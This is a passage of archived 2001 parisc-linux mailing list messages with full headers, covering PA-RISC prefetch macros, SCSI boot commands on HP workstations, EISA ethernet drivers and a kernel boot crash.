X-Trace: ger.gmane.org 1416619891 15894 80.91.229.3 (22 Nov 2014 01:31:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:31 +0000 (UTC)
Cc: grundler@cup.hp.com, parisc-linux@lists.parisc-linux.org
To: bheadley@interaccess.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 12:28:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 546F04A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 12:28:06 -0700 (MST)
Original-Received: from cancun.rose.hp.com (cancun.rose.hp.com [15.43.234.191])
	by palrel1.hp.com (Postfix) with ESMTP
	id EF362BDD; Wed, 21 Feb 2001 11:28:04 -0800 (PST)
Original-Received: (from cmoore@localhost)
	by cancun.rose.hp.com (8.9.3 (PHNE_21697)/8.9.3 SMKit7.02) id LAA19866;
	Wed, 21 Feb 2001 11:38:24 -0800 (PST)
In-Reply-To: <3A941545.5224D3EC@interaccess.com>; from "Bryan W. Headley" at Feb 21, 101 11:26 am
x-HPVue$Revision: 1.8 $
x-Vue-Mime-Level: 4
X-Mailer: Elm [revision: 212.4]
Xref: news.gmane.org gmane.linux.ports.parisc:10330

> > > 3) Should I try, "b scsi.6.0 IPL" or without the IPL?
> >
> > Probably not. typically scsi.6.0 is the built-in hard disk.
> > Do "sea scsi" and see what shows up. CD-ROM is normally SCSI ID 2.
> > (Though it doesn't have to be).
> >
> 
> No, scsi.6.0 is the external CDROM. Everything else is on the fwscsi
> interface.

Still might be a problem with what PDC thinks is "scsi" in this
case.  scsi.6.0 means "target 6 on the scsi bus."  Since you have
two SCSI busses (the internal fw and the external) it might be
confused about what bus it's talking to.  As Grant suggested, 
"sea scsi" (or just "sea") should help.

Yes, you want the IPL on there.  IPL means "stop when you get to
the IPL (initial program loader)".  Without the IPL it's expecting
your IPL program to be ISL with an AUTO boot file to boot hp-ux.

Chris Moore





From - Thu Nov 08 21:16:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Prefetch macros for PA-RISC
Date: Wed, 21 Feb 2001 11:56:14 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20010221115614.K31164@parcelfarce.linux.theplanet.co.uk>
References: <20010221111141.H31164@parcelfarce.linux.theplanet.co.uk> <NDBBIHNACACKNDHNHIKAIEEGCBAA.jim_hull@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619892 15897 80.91.229.3 (22 Nov 2014 01:31:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:32 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, arjanv@redhat.com,
	parisc-linux@parisc-linux.org
To: hull@cup.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 12:31:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 627914A19
	for <parisc-linux@parisc-linux.org>; Wed, 21 Feb 2001 12:31:47 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14VeQw-0001e5-00; Wed, 21 Feb 2001 11:56:14 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <NDBBIHNACACKNDHNHIKAIEEGCBAA.jim_hull@hp.com>; from jim_hull@hp.com on Wed, Feb 21, 2001 at 10:49:33AM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10331

On Wed, Feb 21, 2001 at 10:49:33AM -0800, Jim Hull wrote:
> Actually, Table 6-10 in the PA-RISC 2.0 book is wrong -- LDW is prefetch
> for read, LDD is prefetch for write.  See this erratum description:
> 
> http://devresource.hp.com/devresource/Docs/Refs/PA2_0/updates/e1.html

Wow, thanks Jim.  I would never have noticed that.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Prefetch macros for PA-RISC
Date: Wed, 21 Feb 2001 18:55:51 +0000 (GMT)
Lines: 10
Approved: news@gmane.org
Message-ID: <E14VeQa-0002ZJ-00@the-village.bc.nu>
References: <200102211850.KAA17436@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619892 15899 80.91.229.3 (22 Nov 2014 01:31:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:32 +0000 (UTC)
Cc: matthew@wil.cx (Matthew Wilcox), parisc-linux@parisc-linux.org
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 12:32:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 203E74A19
	for <parisc-linux@parisc-linux.org>; Wed, 21 Feb 2001 12:32:25 -0700 (MST)
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14VeQa-0002ZJ-00; Wed, 21 Feb 2001 18:55:52 +0000
In-Reply-To: <200102211850.KAA17436@milano.cup.hp.com> from "Grant Grundler" at Feb 21, 2001 10:50:53 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:10332

> My reading of the "PA 2.0 Enhancements" in the "PA-RISC 2.0 Architecture"
> is pretty clear this is for PA2.0 CPU's only. #ifdef __LP64__ is needed.
> 
> I'd like to encourage use prefetching on bcopy/checksum type loops.
> It will help perf *alot*.

Can the prefetch on the hppa fault ?




From - Thu Nov 08 21:16:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Prefetch macros for PA-RISC
Date: Wed, 21 Feb 2001 11:53:41 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <20010221115341.J31164@parcelfarce.linux.theplanet.co.uk>
References: <20010221111141.H31164@parcelfarce.linux.theplanet.co.uk> <200102211850.KAA17436@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619892 15900 80.91.229.3 (22 Nov 2014 01:31:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:32 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 12:33:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E3D24A19
	for <parisc-linux@parisc-linux.org>; Wed, 21 Feb 2001 12:33:17 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14VeOT-0001a7-00; Wed, 21 Feb 2001 11:53:41 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200102211850.KAA17436@milano.cup.hp.com>; from grundler@cup.hp.com on Wed, Feb 21, 2001 at 10:50:53AM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10333

On Wed, Feb 21, 2001 at 10:50:53AM -0800, Grant Grundler wrote:
> Will assuming SR0 work for user space?
> Will assuming SR0 work for zero-copy patch in the (near?) future?

It'll have to.  If you want to prefetch userspace, we need different
macros.  Given an address, we have no way of telling whether it's
user or kernel.

> "addr" has alignment restrictions. Not sure if you want
> to encode those as runtime checks or not.

Um.. Kane, page 6-11: ``The prefetch address is never unaligned -- the
low-order bits are ignored and the cache line containing the address is
fetched.''

> My reading of the "PA 2.0 Enhancements" in the "PA-RISC 2.0 Architecture"
> is pretty clear this is for PA2.0 CPU's only. #ifdef __LP64__ is needed.

But that stops 32-bit kernels on 64-bit architecture from taking advantage
of the optimisation.  perhaps we need some funky runtime patching...

> I'd like to encourage use prefetching on bcopy/checksum type loops.
> It will help perf *alot*.

I believe arjan's patch uses prefetches for list walking, which helps
the scheduler a lot.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Prefetch macros for PA-RISC
Date: Wed, 21 Feb 2001 11:40:42 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <200102211940.LAA17629@milano.cup.hp.com>
References: <E14VeQa-0002ZJ-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619892 15901 80.91.229.3 (22 Nov 2014 01:31:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:32 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 12:40:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id B2F7D4A19
	for <parisc-linux@parisc-linux.org>; Wed, 21 Feb 2001 12:40:45 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id E5F8E2283; Wed, 21 Feb 2001 11:38:30 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id LAA17629;
	Wed, 21 Feb 2001 11:40:44 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 21 Feb 2001 18:55:51 PST."
             <E14VeQa-0002ZJ-00@the-village.bc.nu> 
Xref: news.gmane.org gmane.linux.ports.parisc:10334

Alan Cox wrote:
> Can the prefetch on the hppa fault ?

"PARISC 2.0 Arch" page 6-11 says:
   If one of those exceptions would occur, the prefetch
   is simply ignored, but any base register modification
   specified by the instruction still occurs.

I haven't checked if the errata contradicts this.
The whole point of prefetch which be undermined if it could fault.

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Prefetch macros for PA-RISC
Date: Wed, 21 Feb 2001 11:50:54 -0800
Lines: 35
Approved: news@gmane.org
Message-ID: <200102211950.LAA17656@milano.cup.hp.com>
References: <20010221115341.J31164@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619893 15906 80.91.229.3 (22 Nov 2014 01:31:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:33 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 12:48:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7B2374A19
	for <parisc-linux@parisc-linux.org>; Wed, 21 Feb 2001 12:48:04 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id C9D7792; Wed, 21 Feb 2001 11:48:02 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id LAA17656;
	Wed, 21 Feb 2001 11:50:55 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 21 Feb 2001 11:53:41 PST."
             <20010221115341.J31164@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:10335

Matthew Wilcox wrote:
> > "addr" has alignment restrictions. Not sure if you want
> > to encode those as runtime checks or not.
> 
> Um.. Kane, page 6-11: ``The prefetch address is never unaligned -- the
> low-order bits are ignored and the cache line containing the address is
> fetched.''

Right. I was reading the LDD/LDW pages (which don't discuss prefetching)
since I couldn't find the "Data Prefetch Instructions" section on page 6-11
on my own.


> But that stops 32-bit kernels on 64-bit architecture from taking advantage
> of the optimisation.  perhaps we need some funky runtime patching...

That's evil. I'd rather introduce a CONFIG flag that says "build me
a 32-bit kernel with PA2.0 optimizations/support". We've already made
this tradeoff in a few other places as well.


> I believe arjan's patch uses prefetches for list walking, which helps
> the scheduler a lot.

Certainly. Anytime we know we will touch more than a few cachelines,
I think it'll help.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Prefetch macros for PA-RISC
Date: Wed, 21 Feb 2001 13:21:50 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20010221132150.L31164@parcelfarce.linux.theplanet.co.uk>
References: <E14VeQa-0002ZJ-00@the-village.bc.nu> <200102211940.LAA17629@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619893 15912 80.91.229.3 (22 Nov 2014 01:31:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:33 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 13:22:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7D3D44A19
	for <parisc-linux@parisc-linux.org>; Wed, 21 Feb 2001 13:22:03 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14Vflm-00035C-00; Wed, 21 Feb 2001 13:21:50 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200102211940.LAA17629@milano.cup.hp.com>; from grundler@cup.hp.com on Wed, Feb 21, 2001 at 11:40:42AM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10336

On Wed, Feb 21, 2001 at 11:40:42AM -0800, Grant Grundler wrote:
> Alan Cox wrote:
> > Can the prefetch on the hppa fault ?
> 
> "PARISC 2.0 Arch" page 6-11 says:
>    If one of those exceptions would occur, the prefetch
>    is simply ignored, but any base register modification
>    specified by the instruction still occurs.
> 
> I haven't checked if the errata contradicts this.
> The whole point of prefetch which be undermined if it could fault.

The errata only covers which way around the LDD/LDW instructions are.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Prefetch macros for PA-RISC
Date: Wed, 21 Feb 2001 13:25:42 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20010221132542.M31164@parcelfarce.linux.theplanet.co.uk>
References: <20010221115341.J31164@parcelfarce.linux.theplanet.co.uk> <200102211950.LAA17656@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619893 15917 80.91.229.3 (22 Nov 2014 01:31:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:33 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 13:26:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B5E8C4A19
	for <parisc-linux@parisc-linux.org>; Wed, 21 Feb 2001 13:26:04 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14VfpW-00039g-00; Wed, 21 Feb 2001 13:25:42 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200102211950.LAA17656@milano.cup.hp.com>; from grundler@cup.hp.com on Wed, Feb 21, 2001 at 11:50:54AM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10337

On Wed, Feb 21, 2001 at 11:50:54AM -0800, Grant Grundler wrote:
> > But that stops 32-bit kernels on 64-bit architecture from taking advantage
> > of the optimisation.  perhaps we need some funky runtime patching...
> 
> That's evil. I'd rather introduce a CONFIG flag that says "build me
> a 32-bit kernel with PA2.0 optimizations/support". We've already made
> this tradeoff in a few other places as well.

This sounds like a good idea.  x86 has a `processor' section.  We could
select PA1.1, PA2.0 or PA2.0Wide at that point.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 5116@telia.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help wanted on an 715/50 "old Box" 2
Date: Wed, 21 Feb 2001 21:47:15 +0100 (CET)
Lines: 15
Approved: news@gmane.org
Message-ID: <200102212047.VAA18271@zaphod.halden.lillfab.se>
References: <3A92FF66.BB9B30C@linuxcare.com>
Reply-To: 5116@telia.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/plain; CHARSET=US-ASCII
X-Trace: ger.gmane.org 1416619894 15921 80.91.229.3 (22 Nov 2014 01:31:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alex deVries <alex@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 13:47:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailf.telia.com (mailf.telia.com [194.22.194.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id 89A354A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 13:47:19 -0700 (MST)
Original-Received: from zaphod.halden.lillfab.se (t6o70p28.telia.com [195.67.239.148])
	by mailf.telia.com (8.9.3/8.9.3) with ESMTP id VAA09757;
	Wed, 21 Feb 2001 21:47:17 +0100 (CET)
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id VAA18271;
	Wed, 21 Feb 2001 21:47:16 +0100
In-Reply-To: <3A92FF66.BB9B30C@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10338

On 20 Feb, Alex deVries wrote:
> It seems very unlikely that's a Tulip chip, since that's a PCI chipset
> that can't connect to EISA.  If it's another EISA ethernet chipset,
> there's still some WAX work we need to get through.
> 
Actually I think there was EISA tulips (DC21040-based), but for Linux
you need to use the de4x5 driver rather than the tulip driver.

/Daniel
-- 






From - Thu Nov 08 21:16:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Prefetch macros for PA-RISC
Date: Wed, 21 Feb 2001 21:36:54 +0000 (GMT)
Lines: 14
Approved: news@gmane.org
Message-ID: <E14VgwR-0002nT-00@the-village.bc.nu>
References: <200102211940.LAA17629@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619894 15923 80.91.229.3 (22 Nov 2014 01:31:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:34 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox),
	parisc-linux@parisc-linux.org
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 14:33:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id DDE674A19
	for <parisc-linux@parisc-linux.org>; Wed, 21 Feb 2001 14:33:48 -0700 (MST)
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14VgwR-0002nT-00; Wed, 21 Feb 2001 21:36:56 +0000
In-Reply-To: <200102211940.LAA17629@milano.cup.hp.com> from "Grant Grundler" at Feb 21, 2001 11:40:42 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:10339

>    If one of those exceptions would occur, the prefetch
>    is simply ignored, but any base register modification
>    specified by the instruction still occurs.
> 
> I haven't checked if the errata contradicts this.
> The whole point of prefetch which be undermined if it could fault.

Excellent, our proposed list walking uses kind of depend on being able
to prefetch off the end of lists and stuff. Also I assume its prefetching a
cache line and the prefetch for write prefetches it exclusive ?





From - Thu Nov 08 21:16:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Prefetch macros for PA-RISC
Date: Wed, 21 Feb 2001 15:01:01 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20010221150101.N31164@parcelfarce.linux.theplanet.co.uk>
References: <200102211940.LAA17629@milano.cup.hp.com> <E14VgwR-0002nT-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619894 15925 80.91.229.3 (22 Nov 2014 01:31:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:34 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>,
	parisc-linux@parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 15:01:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B6F614A19
	for <parisc-linux@parisc-linux.org>; Wed, 21 Feb 2001 15:01:18 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14VhJl-0004kK-00; Wed, 21 Feb 2001 15:01:01 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <E14VgwR-0002nT-00@the-village.bc.nu>; from alan@lxorguk.ukuu.org.uk on Wed, Feb 21, 2001 at 09:36:54PM +0000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10340

On Wed, Feb 21, 2001 at 09:36:54PM +0000, Alan Cox wrote:
> Excellent, our proposed list walking uses kind of depend on being able
> to prefetch off the end of lists and stuff. Also I assume its prefetching a
> cache line and the prefetch for write prefetches it exclusive ?

Yes.

>From the PCX-W ERS:

Integer word loads to GR0 will be interpreted as a prefetch-for-read
operation, while integer doubleword loads to GR0 will be interpreted
as a prefetch-for-write operation. A prefetch-for-read will cause the
prefetched cache line to be marked "shared", whereas a prefetch-for-write
will cause the prefetched cache line to be marked "private-clean"
- forcing other caches to abandon their shared copies ahead of the
actual write.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Warnings compiling the CVS kernel
Date: Thu, 22 Feb 2001 11:23:41 +1100 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102221120430.14557-100000@front.linuxcare.com.au>
References: <3A93ED8E.E33833CF@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619895 15929 80.91.229.3 (22 Nov 2014 01:31:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:35 +0000 (UTC)
Cc: PL <parisc-linux@lists.parisc-linux.org>
To: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 17:23:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id B54244A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 17:23:46 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA14675;
	Thu, 22 Feb 2001 11:23:41 +1100
In-Reply-To: <3A93ED8E.E33833CF@neuronet.pitt.edu>
Xref: news.gmane.org gmane.linux.ports.parisc:10341

On Wed, 21 Feb 2001, Rafael E. Herrera wrote:

> Alan Modra wrote:
> > On Wed, 21 Feb 2001, Rafael E. Herrera wrote:
> > > The compilation succeeds but the boot will crash here:
> > >
> > > [...]
> > > POSIX conformance testing by UNIFIX
> > 
> > Yeah, same result here (except I get a reboot).  I'm not sure yet whether
> > this is due to bugs in gcc or the kernel.
> 
> Let me know I there is something I can try. Thanks

Seems to be a kernel problem, or at least not a new gcc problem.  I dug
out an old gcc, and got the same results with yesterday's kernel sources.





From - Thu Nov 08 21:16:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Warnings compiling the CVS kernel
Date: Thu, 22 Feb 2001 01:43:43 +0100
Lines: 68
Approved: news@gmane.org
Message-ID: <01022201400100.16704@P100.helgenet.de>
References: <3A9369CF.C7DDC195@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
